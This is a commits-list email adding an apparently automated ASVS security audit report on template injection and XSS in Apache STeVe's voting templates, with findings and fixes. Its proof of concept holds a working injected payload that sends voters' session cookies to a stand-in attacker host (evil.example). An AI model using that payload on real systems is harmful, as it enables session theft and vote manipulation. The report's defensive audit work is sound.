You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@tooling.apache.org by as...@apache.org on 2026/04/22 07:55:06 UTC

(tooling-agents) branch main updated: ASVS L3 audit: 1.3.7 (input_validation_and_injection)

This is an automated email from the ASF dual-hosted git repository.

asf-tooling pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/tooling-agents.git


The following commit(s) were added to refs/heads/main by this push:
     new 5ecea4d  ASVS L3 audit: 1.3.7 (input_validation_and_injection)
5ecea4d is described below

commit 5ecea4ddad024ee36781fa1880f7d608744e1f73
Author: ASF Tooling Team <ro...@apache.org>
AuthorDate: Wed Apr 22 09:55:02 2026 +0200

    ASVS L3 audit: 1.3.7 (input_validation_and_injection)
---
 .../input_validation_and_injection/1.3.7.md        | 273 +++++++++++++++++++++
 1 file changed, 273 insertions(+)

diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.7.md b/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.7.md
new file mode 100644
index 0000000..63cdf58
--- /dev/null
+++ b/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.7.md
@@ -0,0 +1,273 @@
+# ASVS 1.3.7 — Template Injection Protection Audit Report
+
+## Executive Summary
+
+**Repository:** apache/steve  
+**Audit Date:** Apr 22, 2026  
+**Auditor:** Tooling Agents  
+**ASVS Requirement:** 1.3.7 — Verify that the application protects against template injection attacks by not allowing templates to be built based on untrusted input. Where there is no alternative, any untrusted input being included dynamically during template creation must be sanitized or strictly validated.
+
+**Files analyzed:** 23 relevant out of 23 total, 0 skipped
+
+**Finding Summary:**
+
+| Severity | Count |
+|----------|-------|
+| Critical | 0 |
+| High | 1 |
+| Medium | 0 |
+| Low | 0 |
+| **Total** | **1** |
+
+The application uses EZT (EaZy Templating) for server-side rendering. EZT's architecture prevents classic Server-Side Template Injection (SSTI) because substituted values are **never re-parsed** as template syntax. However, the audit identified critical gaps where EZT's output encoding control (`[format]`) exists but is **inconsistently applied**, allowing injection of content into JavaScript and HTML contexts. The most severe issue is a Type B gap where the `[format "js,html"]` control  [...]
+
+---
+
+## Security Controls Inventory
+
+| Control | Defined In | Purpose | Coverage Status |
+|---------|-----------|---------|-----------------|
+| `[format "js,html"]` EZT escaping | manage.ezt, manage-stv.ezt | Escape user content in JavaScript string contexts within HTML attributes | ✅ Applied in `onclick` attributes for issue title/description |
+| `[format "js,html"]` EZT escaping | vote-on.ezt | Escape user content in JavaScript string contexts | ❌ **NOT applied** in `STV_CANDIDATES` JavaScript object |
+| `[format "html"]` EZT escaping | — | Escape user content in HTML body contexts | ❌ **Never used** — no template applies HTML-only encoding |
+| `escapeHtml()` JS function | vote-on.ezt (client-side) | Client-side HTML encoding for DOM manipulation | ✅ Used for candidate name display in DOM manipulation |
+| Parameterized SQL queries | queries.yaml | Prevent SQL injection | ✅ All queries use `?` placeholders |
+| Authentication decorators | pages.py | Enforce authentication on sensitive routes | ✅ Applied to all sensitive routes |
+| `send_from_directory()` | pages.py (serve_doc) | Safe file serving with path traversal protection | ✅ Quart built-in path traversal protection |
+
+---
+
+## Critical File Review
+
+### Templates — EZT Encoding Coverage
+
+| Template | Variable | Context | `[format]` Used? | User Controllable? | Risk |
+|----------|----------|---------|-------------------|--------------------|------|
+| vote-on.ezt | `[issues.title]` | JS string literal | ❌ | Yes (admin) | **HIGH** |
+| vote-on.ezt | `[issues.candidates.name]` | JS string literal | ❌ | Yes (admin via KV) | **HIGH** |
+| vote-on.ezt | `[issues.candidates.label]` | JS string literal | ❌ | Yes (admin via KV) | **HIGH** |
+| vote-on.ezt | `[issues.description]` | HTML body | ❌ | Yes (admin) | **MEDIUM** |
+| manage.ezt | `[issues.title]` (onclick) | JS string in HTML attr | ✅ `js,html` | Yes | Safe |
+| manage.ezt | `[issues.description]` (onclick) | JS string in HTML attr | ✅ `js,html` | Yes | Safe |
+| manage.ezt | `[issues.title]` (strong) | HTML body | ❌ | Yes (admin) | Low (self) |
+| manage.ezt | `[issues.description]` (div) | HTML body | ❌ | Yes (admin) | Low (self) |
+| e_bad_eid.ezt | `[eid]` | HTML body | ❌ | Yes (URL param) | **MEDIUM** |
+| e_bad_iid.ezt | `[iid]` | HTML body | ❌ | Yes (URL param) | **MEDIUM** |
+| e_bad_pid.ezt | `[pid]` | HTML body | ❌ | Yes (URL param) | **MEDIUM** |
+| flashes.ezt | `[flashes.message]` | HTML body | ❌ | Partially (via form) | **MEDIUM** |
+| voter.ezt | `[open_elections.title]` | HTML body | ❌ | Yes (admin) | Low |
+| admin.ezt | `[owned.title]` | HTML body | ❌ | Yes (admin/self) | Low |
+| header.ezt | `[name]` | HTML body | ❌ | No (LDAP) | Negligible |
+
+### pages.py — Data Sanitization at Entry Points
+
+| Endpoint | User Input | Sanitization Before Template | Finding |
+|----------|-----------|------------------------------|---------|
+| `vote_on_page` | issue title/desc from DB | `rewrite_description()` — no encoding | MEDIUM-003 |
+| `vote_on_page` | STV candidates from DB KV | None — raw into JS | HIGH-001 |
+| `do_vote_endpoint` | form keys (iid) | None — into flash message | MEDIUM-004 |
+| `do_create_endpoint` | form.title | None — into flash message | MEDIUM-004 |
+| `load_election` | URL eid | None — into error template | MEDIUM-002 |
+| `load_election_issue` | URL eid, iid | None — into error template | MEDIUM-002 |
+
+---
+
+## Findings
+
+### High Severity
+
+#### ASVS-1307-HIGH-001: Stored XSS via Unescaped Template Data in JavaScript Context
+
+**Severity:** HIGH  
+**Gap Type:** Type B — Control EXISTS (`[format "js,html"]`) but NOT CALLED
+
+**Location:**
+- **File:** `v3/server/templates/vote-on.ezt`
+- **Lines:** ~394–402
+- **Function:** Inline `<script>` block rendering `STV_CANDIDATES`
+
+**Related Functions Checked:**
+- `vote_on_page()` in `v3/server/pages.py` (line 279)
+- `election.list_issues()` in `v3/steve/election.py`
+- `rewrite_description()` in `v3/server/pages.py` (lines 50–59)
+
+**Description:**
+
+The application embeds election issue data directly into a JavaScript object literal (`STV_CANDIDATES`) without applying EZT's `[format "js,html"]` encoding directive. This allows malicious content in issue titles and candidate names to break out of JavaScript string literals and execute arbitrary code.
+
+**Vulnerable Code:**
+
+```javascript
+// vote-on.ezt — STV_CANDIDATES JavaScript object
+const STV_CANDIDATES = {
+[for issues][is issues.vtype "stv"]    "[issues.iid]": {
+      seats: [issues.seats],
+      title: "[issues.title]",                          // ← NO ESCAPING
+      candidates: [
+[for issues.candidates]        { label: "[issues.candidates.label]", name: "[issues.candidates.name]" },  // ← NO ESCAPING
+[end]      ]
+    },
+[end][end]  };
+```
+
+**Contrast with properly-escaped code in `manage.ezt` (line ~282):**
+
+```html
+onclick="openEditIssueModal('[issues.iid]',
+                            '[format "js,html"][issues.title][end]',
+                            '[format "js,html"][issues.description][end]')"
+```
+
+**Data Flow:**
+
+```
+Source: Election admin → POST /do-add-issue/<eid> (form.title) 
+        or CLI create-election.py (YAML issue title / kv.labelmap)
+  → Stored: DB issue table (title, kv columns)
+  → Loaded: election.list_issues() in vote_on_page()
+  → Sink: [issues.title], [issues.candidates.name] rendered inside 
+          JavaScript string literal WITHOUT [format "js,html"]
+```
+
+**Proof of Concept:**
+
+1. Authenticated PMC member creates election, adds STV issue with title:
+   ```
+   a",z:(()=>{new Image().src='https://evil.example/steal?c='+document.cookie})(),w:"
+   ```
+
+2. When any voter visits `/vote-on/<eid>`, the rendered JavaScript becomes:
+   ```javascript
+   title: "a",z:(()=>{new Image().src='https://evil.example/steal?c='+document.cookie})(),w:"",
+   ```
+
+3. The IIFE executes during object literal evaluation, exfiltrating the voter's session cookie.
+
+**Impact:**
+
+A malicious election admin can execute arbitrary JavaScript in every voter's browser session when they visit the voting page. In a voting system, this enables:
+- Session hijacking of voters
+- Silent vote manipulation (modifying form hidden inputs before submission)
+- Defacing the ballot to influence vote outcomes
+
+**Remediation:**
+
+```html
+<!-- vote-on.ezt: Apply [format "js,html"] to all user-controlled data in JS -->
+const STV_CANDIDATES = {
+[for issues][is issues.vtype "stv"]    "[issues.iid]": {
+      seats: [issues.seats],
+      title: "[format "js,html"][issues.title][end]",
+      candidates: [
+[for issues.candidates]        { label: "[format "js,html"][issues.candidates.label][end]", name: "[format "js,html"][issues.candidates.name][end]" },
+[end]      ]
+    },
+[end][end]  };
+```
+
+---
+
+## Positive Security Patterns
+
+1. **EZT Architecture Prevents SSTI**: EZT's design compiles template structure at load time; substituted variable values are never re-parsed as template syntax. There is no path for an attacker to inject EZT directives like `[include]` or `[exec]` through data values.
+
+2. **Consistent `[format "js,html"]` in Admin Templates**: The `manage.ezt` and `manage-stv.ezt` templates correctly apply JavaScript and HTML escaping when embedding issue data in `onclick` attributes.
+
+3. **Client-Side `escapeHtml()` Function**: The `vote-on.ezt` JavaScript uses a properly-implemented `escapeHtml()` function for DOM manipulation of candidate names, preventing DOM-based XSS during drag-and-drop interactions.
+
+4. **All SQL Queries Use Parameter Binding**: Every query in `queries.yaml` uses `?` placeholders, and all database calls go through `asfpy.db` which enforces parameterization. No string concatenation of SQL found.
+
+5. **LDAP Query Uses Static Filter**: The `asf-load-ldap.py` script uses a hardcoded filter `'uid=*'` with no user input, preventing LDAP injection.
+
+6. **Cryptographic ID Generation**: Election IDs (`eid`) and Issue IDs (`iid`) are generated via `crypto.create_id()`, producing random strings that are safe for embedding in URLs and template contexts.
+
+7. **Template Files Statically Defined**: All template paths are hardcoded constants (`TEMPLATES / 'name.ezt'`). No user input influences template file selection.
+
+---
+
+## Architecture Observations
+
+1. **No Auto-Escaping in EZT**: Unlike modern frameworks (Jinja2, Django templates), EZT does **not** auto-escape output. Every variable reference requires explicit `[format]` to be safe. This is an error-prone default that requires developer discipline at every output point.
+
+2. **Mixed Encoding Responsibilities**: Some encoding happens in Python (e.g., `rewrite_description` constructs HTML), while other encoding happens in templates (e.g., `[format "js,html"]`). This split makes it difficult to ensure complete coverage.
+
+3. **CSRF Token Placeholder**: The `csrf_token = 'placeholder'` (line 74) means all CSRF tokens in templates are non-functional. While acknowledged as technical debt, this amplifies the impact of flash message injection (MEDIUM-004) since attackers can forge cross-origin requests.
+
+4. **Inconsistent Encoding Application**: The presence of correct `[format "js,html"]` usage in admin templates but its absence in voter-facing templates suggests encoding is applied reactively rather than systematically, increasing the risk of missed vulnerabilities.
+
+---
+
+## Recommendations Summary
+
+### Immediate Actions (P0)
+
+1. **Add `[format "js,html"]` to all user-controlled data in `vote-on.ezt` JavaScript block (`STV_CANDIDATES`)** — Addresses HIGH-001
+   - Apply encoding to `[issues.title]`, `[issues.candidates.name]`, and `[issues.candidates.label]`
+   - Test with payloads containing quotes, backslashes, and HTML entities
+
+### Short-term Actions (P1)
+
+2. **Add `[format "html"]` encoding to all user-controlled variables in error templates** — Addresses MEDIUM-002
+   - Update `e_bad_eid.ezt`, `e_bad_iid.ezt`, `e_bad_pid.ezt`
+   - Encode `[eid]`, `[iid]`, and `[pid]` variables
+
+3. **HTML-encode description content in `rewrite_description()` before wrapping in HTML tags** — Addresses MEDIUM-003
+   - Use `html.escape()` on `issue.description` before regex processing
+   - Ensure generated anchor tags also encode filename parameters
+
+4. **Add `[format "html"]` to `[flashes.message]` in `flashes.ezt`** — Addresses MEDIUM-004
+   - Alternatively, HTML-encode at the source when creating flash messages in Python
+
+### Long-term Actions (P2-P3)
+
+5. **Conduct a systematic audit of all `[variable]` references in `.ezt` templates** — Addresses all findings
+   - Create inventory of every variable substitution
+   - Apply appropriate `[format]` encoding based on output context:
+     - HTML body → `"html"`
+     - JS string → `"js,html"`
+     - HTML attribute → `"html"`
+
+6. **Consider migrating to a template engine with auto-escaping by default** — Architectural improvement
+   - Evaluate Jinja2 with `autoescape=True`
+   - This would eliminate this class of vulnerability structurally
+
+7. **Implement functional CSRF tokens** — Addresses MEDIUM-004 amplification
+   - Replace `csrf_token = 'placeholder'` with actual token generation/validation
+   - Prevents flash message injection from being escalated via cross-origin form submission
+
+---
+
+## Appendix: Files Analyzed
+
+<details>
+<summary>Click to expand full file list (23 files)</summary>
+
+- `v3/queries.yaml` (relevance: 10)
+- `v3/server/api.py` (relevance: 10)
+- `v3/server/bin/asf-load-ldap.py` (relevance: 10)
+- `v3/server/bin/create-election.py` (relevance: 10)
+- `v3/server/pages.py` (relevance: 10)
+- `v3/server/templates/about.ezt` (relevance: 10)
+- `v3/server/templates/admin.ezt` (relevance: 10)
+- `v3/server/templates/e_bad_eid.ezt` (relevance: 10)
+- `v3/server/templates/e_bad_iid.ezt` (relevance: 10)
+- `v3/server/templates/e_bad_pid.ezt` (relevance: 10)
+- `v3/server/templates/flashes.ezt` (relevance: 10)
+- `v3/server/templates/footer.ezt` (relevance: 10)
+- `v3/server/templates/header.ezt` (relevance: 10)
+- `v3/server/templates/home.ezt` (relevance: 10)
+- `v3/server/templates/manage-stv.ezt` (relevance: 10)
+- `v3/server/templates/manage.ezt` (relevance: 10)
+- `v3/server/templates/privacy.ezt` (relevance: 10)
+- `v3/server/templates/profile.ezt` (relevance: 10)
+- `v3/server/templates/settings.ezt` (relevance: 10)
+- `v3/server/templates/vote-on.ezt` (relevance: 10)
+- `v3/server/templates/voter.ezt` (relevance: 10)
+- `v3/steve/election.py` (relevance: 10)
+- `v3/steve/persondb.py` (relevance: 10)
+
+</details>
+
+---
+
+*End of Report*
\ No newline at end of file


---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@tooling.apache.org
For additional commands, e-mail: commits-help@tooling.apache.org